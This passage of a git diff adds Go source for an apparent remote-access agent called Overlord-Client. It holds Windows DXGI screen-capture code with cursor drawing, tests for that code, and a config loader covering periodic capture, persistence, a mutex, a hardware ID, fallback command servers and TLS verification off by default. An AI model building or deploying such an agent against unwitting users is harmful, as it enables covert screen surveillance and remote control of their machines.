+ RSGetState uintptr
+ RSGetViewports uintptr
+ RSGetScissorRects uintptr
+ HSGetShaderResources uintptr
+ HSGetShader uintptr
+ HSGetSamplers uintptr
+ HSGetConstantBuffers uintptr
+ DSGetShaderResources uintptr
+ DSGetShader uintptr
+ DSGetSamplers uintptr
+ DSGetConstantBuffers uintptr
+ CSGetShaderResources uintptr
+ CSGetUnorderedAccessViews uintptr
+ CSGetShader uintptr
+ CSGetSamplers uintptr
+ CSGetConstantBuffers uintptr
+ ClearState uintptr
+ Flush uintptr
+}
+
+type d3d11DeviceContext struct {
+ lpVtbl *d3d11DeviceContextVtbl
+}
+
+func (c *d3d11DeviceContext) Release() {
+ if c == nil || c.lpVtbl == nil {
+ return
+ }
+ callSyscallN(c.lpVtbl.Release, uintptr(unsafe.Pointer(c)))
+}
+
+func (c *d3d11DeviceContext) CopyResource(dst, src *d3d11Texture2D) {
+ if c == nil || c.lpVtbl == nil {
+ return
+ }
+ callSyscallN(c.lpVtbl.CopyResource, uintptr(unsafe.Pointer(c)), uintptr(unsafe.Pointer(dst)), uintptr(unsafe.Pointer(src)))
+}
+
+func (c *d3d11DeviceContext) Map(res *d3d11Texture2D, subresource uint32, mapType uint32, mapFlags uint32, mapped *d3d11MappedSubresource) uintptr {
+ return callSyscallN(c.lpVtbl.Map, uintptr(unsafe.Pointer(c)), uintptr(unsafe.Pointer(res)), uintptr(subresource), uintptr(mapType), uintptr(mapFlags), uintptr(unsafe.Pointer(mapped)))
+}
+
+func (c *d3d11DeviceContext) Unmap(res *d3d11Texture2D, subresource uint32) {
+ if c == nil || c.lpVtbl == nil {
+ return
+ }
+ callSyscallN(c.lpVtbl.Unmap, uintptr(unsafe.Pointer(c)), uintptr(unsafe.Pointer(res)), uintptr(subresource))
+}
+
+type d3d11Texture2DVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ GetDevice uintptr
+ GetPrivateData uintptr
+ SetPrivateData uintptr
+ SetPrivateDataInterface uintptr
+ GetType uintptr
+ SetEvictionPriority uintptr
+ GetEvictionPriority uintptr
+ GetDesc uintptr
+}
+
+type d3d11Texture2D struct {
+ lpVtbl *d3d11Texture2DVtbl
+}
+
+func (t *d3d11Texture2D) Release() {
+ if t == nil || t.lpVtbl == nil {
+ return
+ }
+ callSyscallN(t.lpVtbl.Release, uintptr(unsafe.Pointer(t)))
+}
+
+func (t *d3d11Texture2D) GetDesc(desc *d3d11Texture2DDesc) {
+ if t == nil || t.lpVtbl == nil {
+ return
+ }
+ callSyscallN(t.lpVtbl.GetDesc, uintptr(unsafe.Pointer(t)), uintptr(unsafe.Pointer(desc)))
+}
+
+type d3d11Texture2DDesc struct {
+ Width uint32
+ Height uint32
+ MipLevels uint32
+ ArraySize uint32
+ Format uint32
+ SampleDesc struct {
+ Count uint32
+ Quality uint32
+ }
+ Usage uint32
+ BindFlags uint32
+ CPUAccessFlags uint32
+ MiscFlags uint32
+}
+
+type d3d11MappedSubresource struct {
+ Data unsafe.Pointer
+ RowPitch uint32
+ DepthPitch uint32
+}
+
+func (d *idxgiOutputDuplication) Release() {
+ if d == nil || d.lpVtbl == nil {
+ return
+ }
+ syscall.SyscallN(d.lpVtbl.Release, uintptr(unsafe.Pointer(d)))
+}
+
+func (d *idxgiOutputDuplication) GetDesc(desc *dxgiOutDuplDesc) uintptr {
+ return callSyscallN(d.lpVtbl.GetDesc, uintptr(unsafe.Pointer(d)), uintptr(unsafe.Pointer(desc)))
+}
+
+func (d *idxgiOutputDuplication) AcquireNextFrame(timeoutMs uint32, info *dxgiOutDuplFrameInfo, resource **iunknown) uintptr {
+ return callSyscallN(d.lpVtbl.AcquireNextFrame, uintptr(unsafe.Pointer(d)), uintptr(timeoutMs), uintptr(unsafe.Pointer(info)), uintptr(unsafe.Pointer(resource)))
+}
+
+func (d *idxgiOutputDuplication) MapDesktopSurface(mapped *dxgiMappedRect) uintptr {
+ return callSyscallN(d.lpVtbl.MapDesktopSurface, uintptr(unsafe.Pointer(d)), uintptr(unsafe.Pointer(mapped)))
+}
+
+func (d *idxgiOutputDuplication) UnMapDesktopSurface() uintptr {
+ return callSyscallN(d.lpVtbl.UnMapDesktopSurface, uintptr(unsafe.Pointer(d)))
+}
+
+func (d *idxgiOutputDuplication) ReleaseFrame() uintptr {
+ return callSyscallN(d.lpVtbl.ReleaseFrame, uintptr(unsafe.Pointer(d)))
+}
+
+var (
+ desktopDuplicationEnabled atomic.Bool
+ dxgiState = &duplicationState{}
+)
+
+type duplicationState struct {
+ mu sync.Mutex
+ display int
+ outputName string
+ bounds image.Rectangle
+ cursorBounds image.Rectangle
+ factory *idxgiFactory1
+ adapter *idxgiAdapter1
+ output *idxgiOutput
+ output1 *idxgiOutput1
+ dup *idxgiOutputDuplication
+ device *d3d11Device
+ context *d3d11DeviceContext
+ staging *d3d11Texture2D
+ stagingDesc d3d11Texture2DDesc
+ desc dxgiOutDuplDesc
+ lastBase *image.RGBA
+ lastFrame *image.RGBA
+ lastFrameAt time.Time
+ lastFail time.Time
+}
+
+func SetDesktopDuplication(enabled bool) {
+ desktopDuplicationEnabled.Store(enabled)
+ dxgiState.reset()
+}
+
+func useDesktopDuplication() bool {
+ return desktopDuplicationEnabled.Load()
+}
+
+func captureDisplayDXGI(display int) (*image.RGBA, error) {
+ return dxgiState.capture(display)
+}
+
+func (s *duplicationState) reset() {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ s.closeLocked()
+}
+
+func (s *duplicationState) closeLocked() {
+ if s.dup != nil {
+ s.dup.Release()
+ s.dup = nil
+ }
+ if s.staging != nil {
+ s.staging.Release()
+ s.staging = nil
+ }
+ if s.context != nil {
+ s.context.Release()
+ s.context = nil
+ }
+ if s.output1 != nil {
+ s.output1.Release()
+ s.output1 = nil
+ }
+ if s.output != nil {
+ s.output.Release()
+ s.output = nil
+ }
+ if s.adapter != nil {
+ s.adapter.Release()
+ s.adapter = nil
+ }
+ if s.factory != nil {
+ s.factory.Release()
+ s.factory = nil
+ }
+ if s.device != nil {
+ s.device.Release()
+ s.device = nil
+ }
+ s.outputName = ""
+ s.bounds = image.Rectangle{}
+ s.cursorBounds = image.Rectangle{}
+ s.display = -1
+ s.lastBase = nil
+ s.lastFrame = nil
+ s.lastFrameAt = time.Time{}
+}
+
+func (s *duplicationState) capture(display int) (*image.RGBA, error) {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+
+ if err := s.ensure(display); err != nil {
+ s.lastFail = time.Now()
+ return nil, err
+ }
+
+ var info dxgiOutDuplFrameInfo
+ var resource *iunknown
+ hr := s.dup.AcquireNextFrame(50, &info, &resource)
+ if hr == dxgiErrorWaitTimeout {
+ if s.lastBase != nil {
+ img := s.composeFrame(s.lastBase)
+ s.lastFrame = img
+ s.lastFrameAt = time.Now()
+ return img, nil
+ }
+ if s.lastFrame != nil {
+ return s.lastFrame, nil
+ }
+ return nil, errors.New("dxgi: frame timeout")
+ }
+ if hr == dxgiErrorAccessLost {
+ s.closeLocked()
+ return nil, errors.New("dxgi: access lost")
+ }
+ if hr != S_OK {
+ return nil, fmt.Errorf("dxgi: acquire frame failed 0x%x", hr)
+ }
+ if resource != nil {
+ resource.Release()
+ }
+
+ width := int(s.desc.ModeDesc.Width)
+ height := int(s.desc.ModeDesc.Height)
+ if width <= 0 || height <= 0 {
+ _ = s.dup.ReleaseFrame()
+ return nil, errors.New("dxgi: invalid frame size")
+ }
+
+ var img *image.RGBA
+ if s.desc.DesktopImageInSystemMemory != 0 {
+ var mapped dxgiMappedRect
+ hr = s.dup.MapDesktopSurface(&mapped)
+ if hr != S_OK {
+ _ = s.dup.ReleaseFrame()
+ return nil, fmt.Errorf("dxgi: map desktop surface failed 0x%x", hr)
+ }
+ if mapped.Pitch <= 0 || mapped.Bits == nil {
+ _ = s.dup.UnMapDesktopSurface()
+ _ = s.dup.ReleaseFrame()
+ return nil, errors.New("dxgi: invalid mapped surface")
+ }
+
+ pitch := int(mapped.Pitch)
+ src := unsafe.Slice(mapped.Bits, pitch*height)
+ img = convertBGRA(src, pitch, width, height, s.desc.Rotation)
+ _ = s.dup.UnMapDesktopSurface()
+ _ = s.dup.ReleaseFrame()
+ } else {
+ img, hr = s.readbackFrame(width, height, s.desc.Rotation, resource)
+ _ = s.dup.ReleaseFrame()
+ if hr != S_OK || img == nil {
+ return nil, fmt.Errorf("dxgi: staging readback failed 0x%x", hr)
+ }
+ }
+
+ s.lastBase = img
+ img = s.composeFrame(img)
+ s.lastFrame = img
+ s.lastFrameAt = time.Now()
+
+ return img, nil
+}
+
+func (s *duplicationState) composeFrame(base *image.RGBA) *image.RGBA {
+ if base == nil {
+ return nil
+ }
+ img := cloneRGBA(base)
+ bounds := s.bounds
+ if bounds.Dx() != int(s.desc.ModeDesc.Width) || bounds.Dy() != int(s.desc.ModeDesc.Height) {
+ bounds = image.Rect(bounds.Min.X, bounds.Min.Y, bounds.Min.X+int(s.desc.ModeDesc.Width), bounds.Min.Y+int(s.desc.ModeDesc.Height))
+ }
+ drawCursorRotated(img, s.cursorBounds, bounds, s.desc.Rotation)
+
+ userScale := captureScale()
+ rotW := img.Bounds().Dx()
+ rotH := img.Bounds().Dy()
+ dstW := int(float64(rotW) * userScale)
+ dstH := int(float64(rotH) * userScale)
+ if dstW > 0 && dstH > 0 && (dstW != rotW || dstH != rotH) {
+ img = resizeNearest(img, dstW, dstH)
+ }
+ return img
+}
+
+func cloneRGBA(src *image.RGBA) *image.RGBA {
+ if src == nil {
+ return nil
+ }
+ dst := image.NewRGBA(src.Rect)
+ copy(dst.Pix, src.Pix)
+ return dst
+}
+
+func (s *duplicationState) ensure(display int) error {
+ if s.dup != nil && s.display == display {
+ return nil
+ }
+ s.closeLocked()
+
+ monitors := monitorList()
+ if display < 0 || display >= len(monitors) {
+ display = 0
+ }
+ if len(monitors) == 0 {
+ return errors.New("dxgi: no monitors")
+ }
+
+ mon := monitors[display]
+ desiredName := strings.TrimSpace(mon.name)
+ bounds := resolveBounds(mon)
+ cursorBounds := mon.rect
+
+ factory, err := createDXGIFactory1()
+ if err != nil {
+ return err
+ }
+
+ output, adapter, outputName, err := findOutput(factory, desiredName, bounds, display)
+ if err != nil {
+ factory.Release()
+ return err
+ }
+
+ device, context, err := createD3DDevice(adapter)
+ if err != nil {
+ output.Release()
+ adapter.Release()
+ factory.Release()
+ return err
+ }
+
+ var output1 *idxgiOutput1
+ hr := (*iunknown)(unsafe.Pointer(output)).QueryInterface(&IID_IDXGIOutput1, unsafe.Pointer(&output1))
+ if hr != S_OK || output1 == nil {
+ device.Release()
+ output.Release()
+ adapter.Release()
+ factory.Release()
+ return errors.New("dxgi: failed to query IDXGIOutput1")
+ }
+
+ var dup *idxgiOutputDuplication
+ hr = output1.DuplicateOutput((*iunknown)(unsafe.Pointer(device)), &dup)
+ if hr != S_OK || dup == nil {
+ output1.Release()
+ context.Release()
+ device.Release()
+ output.Release()
+ adapter.Release()
+ factory.Release()
+ return fmt.Errorf("dxgi: DuplicateOutput failed 0x%x", hr)
+ }
+
+ var desc dxgiOutDuplDesc
+ _ = dup.GetDesc(&desc)
+ if desc.DesktopImageInSystemMemory == 0 {
+ log.Printf("capture: dxgi duplication has no system-memory surface; using staging readback")
+ }
+
+ s.factory = factory
+ s.adapter = adapter
+ s.output = output
+ s.output1 = output1
+ s.device = device
+ s.context = context
+ s.dup = dup
+ s.desc = desc
+ s.outputName = outputName
+ s.display = display
+ s.bounds = bounds
+ s.cursorBounds = cursorBounds
+
+ return nil
+}
+
+func (s *duplicationState) readbackFrame(width, height int, rotation uint32, resource *iunknown) (*image.RGBA, uintptr) {
+ if resource == nil || s.device == nil || s.context == nil {
+ return nil, uintptr(1)
+ }
+ var tex *d3d11Texture2D
+ hr := resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex))
+ if hr != S_OK || tex == nil {
+ return nil, hr
+ }
+ defer tex.Release()
+
+ var srcDesc d3d11Texture2DDesc
+ tex.GetDesc(&srcDesc)
+ if srcDesc.Width == 0 || srcDesc.Height == 0 {
+ return nil, uintptr(1)
+ }
+
+ if s.staging == nil || s.stagingDesc.Width != srcDesc.Width || s.stagingDesc.Height != srcDesc.Height || s.stagingDesc.Format != srcDesc.Format {
+ if s.staging != nil {
+ s.staging.Release()
+ s.staging = nil
+ }
+ stagingDesc := srcDesc
+ stagingDesc.Usage = d3d11UsageStaging
+ stagingDesc.BindFlags = 0
+ stagingDesc.CPUAccessFlags = d3d11CpuAccessRead
+ stagingDesc.MiscFlags = 0
+ stagingDesc.MipLevels = 1
+ stagingDesc.ArraySize = 1
+ stagingDesc.SampleDesc.Count = 1
+ stagingDesc.SampleDesc.Quality = 0
+ var staging *d3d11Texture2D
+ hr = s.device.CreateTexture2D(&stagingDesc, nil, &staging)
+ if hr != S_OK || staging == nil {
+ return nil, hr
+ }
+ s.staging = staging
+ s.stagingDesc = stagingDesc
+ }
+
+ s.context.CopyResource(s.staging, tex)
+ var mapped d3d11MappedSubresource
+ hr = s.context.Map(s.staging, 0, d3d11MapRead, 0, &mapped)
+ if hr != S_OK || mapped.Data == nil || mapped.RowPitch == 0 {
+ return nil, hr
+ }
+ defer s.context.Unmap(s.staging, 0)
+
+ pitch := int(mapped.RowPitch)
+ src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height))
+ img := convertBGRA(src, pitch, int(srcDesc.Width), int(srcDesc.Height), rotation)
+
+ return img, S_OK
+}
+
+func createDXGIFactory1() (*idxgiFactory1, error) {
+ var factory *idxgiFactory1
+ hr, _, _ := procCreateDXGIFactory1.Call(uintptr(unsafe.Pointer(&IID_IDXGIFactory1)), uintptr(unsafe.Pointer(&factory)))
+ if hr != S_OK || factory == nil {
+ return nil, fmt.Errorf("dxgi: CreateDXGIFactory1 failed 0x%x", hr)
+ }
+ return factory, nil
+}
+
+func findOutput(factory *idxgiFactory1, desiredName string, desiredBounds image.Rectangle, displayIndex int) (*idxgiOutput, *idxgiAdapter1, string, error) {
+ var fallbackOutput *idxgiOutput
+ var fallbackAdapter *idxgiAdapter1
+ fallbackName := ""
+ outIndex := 0
+
+ for adapterIndex := 0; ; adapterIndex++ {
+ var adapter *idxgiAdapter1
+ hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter)
+ if hr == dxgiErrorNotFound {
+ break
+ }
+ if hr != S_OK || adapter == nil {
+ continue
+ }
+
+ for outputIndex := 0; ; outputIndex++ {
+ var output *idxgiOutput
+ hrOut := adapter.EnumOutputs(uint32(outputIndex), &output)
+ if hrOut == dxgiErrorNotFound {
+ break
+ }
+ if hrOut != S_OK || output == nil {
+ continue
+ }
+
+ var desc dxgiOutputDesc
+ _ = output.GetDesc(&desc)
+ name := windows.UTF16ToString(desc.DeviceName[:])
+ coords := image.Rect(int(desc.DesktopCoordinates.left), int(desc.DesktopCoordinates.top), int(desc.DesktopCoordinates.right), int(desc.DesktopCoordinates.bottom))
+
+ if desiredBounds.Dx() > 0 && desiredBounds.Dy() > 0 && coords == desiredBounds {
+ if fallbackOutput != nil && fallbackAdapter != nil {
+ fallbackOutput.Release()
+ fallbackAdapter.Release()
+ }
+ return output, adapter, name, nil
+ }
+
+ if desiredName != "" && strings.EqualFold(strings.TrimSpace(name), desiredName) {
+ if fallbackOutput != nil && fallbackAdapter != nil {
+ fallbackOutput.Release()
+ fallbackAdapter.Release()
+ }
+ return output, adapter, name, nil
+ }
+
+ if outIndex == displayIndex && fallbackOutput == nil {
+ fallbackOutput = output
+ fallbackAdapter = adapter
+ fallbackName = name
+ } else {
+ output.Release()
+ }
+ outIndex++
+ }
+ if fallbackOutput == nil {
+ adapter.Release()
+ }
+ }
+
+ if fallbackOutput != nil && fallbackAdapter != nil {
+ return fallbackOutput, fallbackAdapter, fallbackName, nil
+ }
+
+ return nil, nil, "", errors.New("dxgi: output not found")
+}
+
+func createD3DDevice(adapter *idxgiAdapter1) (*d3d11Device, *d3d11DeviceContext, error) {
+ var device *d3d11Device
+ var context *d3d11DeviceContext
+ var featureLevel uint32
+ hr, _, _ := procD3D11CreateDevice.Call(
+ uintptr(unsafe.Pointer(adapter)),
+ uintptr(d3dDriverTypeUnknown),
+ 0,
+ uintptr(d3d11CreateDeviceBgraSupport),
+ 0,
+ 0,
+ uintptr(d3d11SdkVersion),
+ uintptr(unsafe.Pointer(&device)),
+ uintptr(unsafe.Pointer(&featureLevel)),
+ uintptr(unsafe.Pointer(&context)),
+ )
+ if hr != S_OK || device == nil || context == nil {
+ if context != nil {
+ context.Release()
+ }
+ if device != nil {
+ device.Release()
+ }
+ return nil, nil, fmt.Errorf("dxgi: D3D11CreateDevice failed 0x%x", hr)
+ }
+ return device, context, nil
+}
+
+func convertBGRA(src []byte, pitch, width, height int, rotation uint32) *image.RGBA {
+ switch rotation {
+ case dxgiModeRotationRotate90:
+ dst := image.NewRGBA(image.Rect(0, 0, height, width))
+ for y := 0; y < height; y++ {
+ sRow := src[y*pitch : y*pitch+width*4]
+ for x := 0; x < width; x++ {
+ si := x * 4
+ dx := height - 1 - y
+ dy := x
+ di := dy*dst.Stride + dx*4
+ dst.Pix[di+0] = sRow[si+2]
+ dst.Pix[di+1] = sRow[si+1]
+ dst.Pix[di+2] = sRow[si+0]
+ dst.Pix[di+3] = 255
+ }
+ }
+ return dst
+ case dxgiModeRotationRotate180:
+ dst := image.NewRGBA(image.Rect(0, 0, width, height))
+ for y := 0; y < height; y++ {
+ sRow := src[y*pitch : y*pitch+width*4]
+ dy := height - 1 - y
+ dRow := dst.Pix[dy*dst.Stride : dy*dst.Stride+width*4]
+ for x := 0; x < width; x++ {
+ si := x * 4
+ dx := width - 1 - x
+ di := dx * 4
+ dRow[di+0] = sRow[si+2]
+ dRow[di+1] = sRow[si+1]
+ dRow[di+2] = sRow[si+0]
+ dRow[di+3] = 255
+ }
+ }
+ return dst
+ case dxgiModeRotationRotate270:
+ dst := image.NewRGBA(image.Rect(0, 0, height, width))
+ for y := 0; y < height; y++ {
+ sRow := src[y*pitch : y*pitch+width*4]
+ for x := 0; x < width; x++ {
+ si := x * 4
+ dx := y
+ dy := width - 1 - x
+ di := dy*dst.Stride + dx*4
+ dst.Pix[di+0] = sRow[si+2]
+ dst.Pix[di+1] = sRow[si+1]
+ dst.Pix[di+2] = sRow[si+0]
+ dst.Pix[di+3] = 255
+ }
+ }
+ return dst
+ default:
+ dst := image.NewRGBA(image.Rect(0, 0, width, height))
+ for y := 0; y < height; y++ {
+ sRow := src[y*pitch : y*pitch+width*4]
+ dRow := dst.Pix[y*dst.Stride : y*dst.Stride+width*4]
+ for x := 0; x < width; x++ {
+ si := x * 4
+ di := si
+ dRow[di+0] = sRow[si+2]
+ dRow[di+1] = sRow[si+1]
+ dRow[di+2] = sRow[si+0]
+ dRow[di+3] = 255
+ }
+ }
+ return dst
+ }
+}
+
+func drawCursorRotated(img *image.RGBA, cursorBounds, captureBounds image.Rectangle, rotation uint32) {
+ if !cursorCaptureEnabled.Load() {
+ return
+ }
+ var ci cursorInfo
+ ci.cbSize = uint32(unsafe.Sizeof(ci))
+ ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
+ if ret == 0 || (ci.flags&CURSOR_SHOWING) == 0 || ci.hCursor == 0 {
+ return
+ }
+
+ curX := ci.ptScreenPos.x
+ curY := ci.ptScreenPos.y
+
+ var icon iconInfo
+ ret, _, _ = procGetIconInfo.Call(ci.hCursor, uintptr(unsafe.Pointer(&icon)))
+ if ret != 0 {
+ if icon.hbmMask != 0 {
+ defer deleteObject(icon.hbmMask)
+ }
+ if icon.hbmColor != 0 {
+ defer deleteObject(icon.hbmColor)
+ }
+ }
+ if cursorBounds.Empty() {
+ cursorBounds = captureBounds
+ }
+
+ localX := int(curX) - cursorBounds.Min.X
+ localY := int(curY) - cursorBounds.Min.Y
+ if localX < 0 || localY < 0 || localX >= cursorBounds.Dx() || localY >= cursorBounds.Dy() {
+ return
+ }
+
+ scaleX := float64(captureBounds.Dx()) / float64(cursorBounds.Dx())
+ scaleY := float64(captureBounds.Dy()) / float64(cursorBounds.Dy())
+ localX = int(float64(localX) * scaleX)
+ localY = int(float64(localY) * scaleY)
+
+ w := captureBounds.Dx()
+ h := captureBounds.Dy()
+ var rx, ry int
+ switch rotation {
+ case dxgiModeRotationRotate90:
+ rx = h - 1 - localY
+ ry = localX
+ case dxgiModeRotationRotate180:
+ rx = w - 1 - localX
+ ry = h - 1 - localY
+ case dxgiModeRotationRotate270:
+ rx = localY
+ ry = w - 1 - localX
+ default:
+ rx = localX
+ ry = localY
+ }
+ rotBounds := image.Rect(0, 0, img.Bounds().Dx(), img.Bounds().Dy())
+ if !drawRealCursorOnImage(img, ci.hCursor, int32(rx), int32(ry), int32(icon.xHotspot), int32(icon.yHotspot)) {
+ drawCursor(img, int32(rx), int32(ry), rotBounds)
+ }
+}
+
+func drawRealCursorOnImage(img *image.RGBA, hCursor uintptr, hotX, hotY, xHotspot, yHotspot int32) bool {
+ if img == nil || hCursor == 0 {
+ return false
+ }
+ w := img.Bounds().Dx()
+ h := img.Bounds().Dy()
+ if w <= 0 || h <= 0 {
+ return false
+ }
+
+ hdcScreen := createDisplayDC()
+ fromCreateDC := hdcScreen != 0
+ if hdcScreen == 0 {
+ hdcScreen = getDC(0)
+ if hdcScreen == 0 {
+ return false
+ }
+ }
+ defer func() {
+ if fromCreateDC {
+ deleteDC(hdcScreen)
+ } else {
+ releaseDC(0, hdcScreen)
+ }
+ }()
+
+ hdcMem := createCompatibleDC(hdcScreen)
+ if hdcMem == 0 {
+ return false
+ }
+ defer deleteDC(hdcMem)
+
+ bmi := bitmapInfo{
+ bmiHeader: bitmapInfoHeader{
+ biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
+ biWidth: int32(w),
+ biHeight: -int32(h),
+ biPlanes: 1,
+ biBitCount: 32,
+ biCompression: BI_RGB,
+ },
+ }
+ var bits unsafe.Pointer
+ hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
+ if hbmp == 0 || bits == nil {
+ return false
+ }
+ defer deleteObject(hbmp)
+
+ old := selectObject(hdcMem, hbmp)
+ if old == 0 {
+ return false
+ }
+ defer selectObject(hdcMem, old)
+
+ dib := unsafe.Slice((*byte)(bits), len(img.Pix))
+ copy(dib, img.Pix)
+
+ x := hotX - xHotspot
+ y := hotY - yHotspot
+ r, _, _ := procDrawIconEx.Call(
+ hdcMem,
+ uintptr(x),
+ uintptr(y),
+ hCursor,
+ 0,
+ 0,
+ 0,
+ 0,
+ uintptr(DI_NORMAL),
+ )
+ if r == 0 {
+ return false
+ }
+
+ copy(img.Pix, dib)
+ return true
+}
diff --git a/Overlord-Client/cmd/agent/capture/win_duplication_test.go b/Overlord-Client/cmd/agent/capture/win_duplication_test.go
new file mode 100644
index 0000000..4b5a39f
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/win_duplication_test.go
@@ -0,0 +1,62 @@
+//go:build windows
+
+package capture
+
+import (
+ "image"
+ "testing"
+)
+
+func TestDesktopDuplicationToggleResetsState(t *testing.T) {
+ dxgiState.mu.Lock()
+ dxgiState.display = 0
+ dxgiState.outputName = "test-output"
+ dxgiState.bounds = image.Rect(1, 2, 3, 4)
+ dxgiState.mu.Unlock()
+
+ SetDesktopDuplication(true)
+ if !useDesktopDuplication() {
+ t.Fatalf("expected desktop duplication to be enabled")
+ }
+
+ dxgiState.mu.Lock()
+ if dxgiState.display != -1 {
+ dxgiState.mu.Unlock()
+ t.Fatalf("expected display reset to -1, got %d", dxgiState.display)
+ }
+ if dxgiState.outputName != "" {
+ dxgiState.mu.Unlock()
+ t.Fatalf("expected outputName reset, got %q", dxgiState.outputName)
+ }
+ if dxgiState.bounds != (image.Rectangle{}) {
+ dxgiState.mu.Unlock()
+ t.Fatalf("expected bounds reset, got %+v", dxgiState.bounds)
+ }
+ dxgiState.mu.Unlock()
+
+ SetDesktopDuplication(false)
+ if useDesktopDuplication() {
+ t.Fatalf("expected desktop duplication to be disabled")
+ }
+}
+
+func TestCaptureDisplayDXGI(t *testing.T) {
+ if displayCount() == 0 {
+ t.Skip("no displays detected")
+ }
+
+ SetDesktopDuplication(true)
+ t.Cleanup(func() { SetDesktopDuplication(false) })
+
+ img, err := captureDisplayDXGI(0)
+ if err != nil {
+ t.Fatalf("dxgi capture failed: %v", err)
+ }
+ if img == nil {
+ t.Fatalf("dxgi capture returned nil image")
+ }
+ bounds := img.Bounds()
+ if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
+ t.Fatalf("invalid capture bounds: %dx%d", bounds.Dx(), bounds.Dy())
+ }
+}
diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go
new file mode 100644
index 0000000..77cb615
--- /dev/null
+++ b/Overlord-Client/cmd/agent/config/config.go
@@ -0,0 +1,334 @@
+package config
+
+import (
+ "bufio"
+ "bytes"
+ "crypto/sha256"
+ "encoding/hex"
+ "encoding/json"
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "net/url"
+ "os"
+ "runtime"
+ "strings"
+ "time"
+)
+
+const AgentVersion = "1.0.0"
+
+var DefaultPersistence = "false"
+var DefaultServerURL = "wss://127.0.0.1:5173"
+var DefaultServerURLIsRaw = "false"
+var DefaultMutex = ""
+var DefaultID = ""
+var DefaultCountry = ""
+var DefaultAgentToken = ""
+
+const settingsFile = "config/settings.json"
+const serverIndexFile = "config/server_index.json"
+
+type settings struct {
+ ID string `json:"id"`
+ HWID string `json:"hwid"`
+ Country string `json:"country"`
+ Version string `json:"version"`
+}
+
+type serverIndexData struct {
+ LastWorkingIndex int `json:"last_working_index"`
+}
+
+type Config struct {
+ ServerURLs []string
+ ServerIndex int
+ RawServerListURL string
+ Mutex string
+ ID string
+ HWID string
+ Country string
+ OS string
+ Arch string
+ Version string
+ CaptureInterval time.Duration
+ DisableCapture bool
+ EnablePersistence bool
+ TLSInsecureSkipVerify bool
+ TLSCAPath string
+ TLSClientCert string
+ TLSClientKey string
+ AgentToken string
+}
+
+func Load() Config {
+ server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER"))
+ if server == "" {
+ server = DefaultServerURL
+ }
+
+ rawServerFlag := strings.TrimSpace(os.Getenv("OVERLORD_SERVER_RAW"))
+ if rawServerFlag == "" {
+ rawServerFlag = DefaultServerURLIsRaw
+ }
+ rawServerEnabled := isTruthy(rawServerFlag)
+
+ serverURLs := []string{}
+ rawServerListURL := ""
+ if rawServerEnabled {
+ rawServerListURL = server
+ if rawServerListURL != "" {
+ if urls, err := LoadServerURLsFromRaw(rawServerListURL); err != nil {
+ log.Printf("[config] WARNING: failed to load raw server list from %q: %v", rawServerListURL, err)
+ } else {
+ serverURLs = urls
+ }
+ }
+ } else {
+ for _, url := range strings.Split(server, ",") {
+ normalized, err := normalizeServerURL(url)
+ if err != nil {
+ log.Printf("[config] WARNING: invalid server URL %q: %v", strings.TrimSpace(url), err)
+ continue
+ }
+ if normalized != "" {
+ serverURLs = append(serverURLs, normalized)
+ }
+ }
+ }
+
+ serverIndex := loadServerIndex()
+
+ fileSettings := readSettings()
+ defaultHWID := deriveHWID()
+ interval := 20 * time.Second
+ if v := strings.TrimSpace(os.Getenv("OVERLORD_CAPTURE_INTERVAL")); v != "" {
+ if parsed, err := time.ParseDuration(v); err == nil && parsed > 0 {
+ interval = parsed
+ }
+ }
+
+ disableCapture := false
+ if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_DISABLE_CAPTURE"))); v != "" {
+ disableCapture = v == "true" || v == "1" || v == "yes"
+ }
+
+ enablePersistence := strings.ToLower(DefaultPersistence) == "true"
+ if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_ENABLE_PERSISTENCE"))); v != "" {
+ enablePersistence = v == "true" || v == "1" || v == "yes"
+ }
+
+ tlsInsecureSkipVerify := true
+ if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
+ tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
+ }
+ tlsCAPath := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CA"))
+ tlsClientCert := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_CERT"))
+ tlsClientKey := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_KEY"))
+ agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN"))
+ if agentToken == "" {
+ agentToken = strings.TrimSpace(DefaultAgentToken)
+ }
+
+ mutex := strings.TrimSpace(os.Getenv("OVERLORD_MUTEX"))
+ if mutex == "" {
+ mutex = DefaultMutex
+ }
+ mutexLower := strings.ToLower(strings.TrimSpace(mutex))
+ if mutexLower == "none" || mutexLower == "disabled" {
+ mutex = ""
+ }
+
+ return Config{
+ ServerURLs: serverURLs,
+ ServerIndex: serverIndex,
+ RawServerListURL: rawServerListURL,
+ Mutex: strings.TrimSpace(mutex),
+ ID: defaultHWID,
+ HWID: firstNonEmpty(fileSettings.HWID, defaultHWID),
+ EnablePersistence: enablePersistence,
+ Country: firstNonEmpty(strings.TrimSpace(fileSettings.Country), DefaultCountry),
+ OS: runtime.GOOS,
+ Arch: runtime.GOARCH,
+ Version: firstNonEmpty(fileSettings.Version, AgentVersion),
+ CaptureInterval: interval,
+ DisableCapture: disableCapture,
+ TLSInsecureSkipVerify: tlsInsecureSkipVerify,
+ TLSCAPath: tlsCAPath,
+ TLSClientCert: tlsClientCert,
+ TLSClientKey: tlsClientKey,
+ AgentToken: agentToken,
+ }
+}
+
+func isTruthy(value string) bool {
+ v := strings.ToLower(strings.TrimSpace(value))
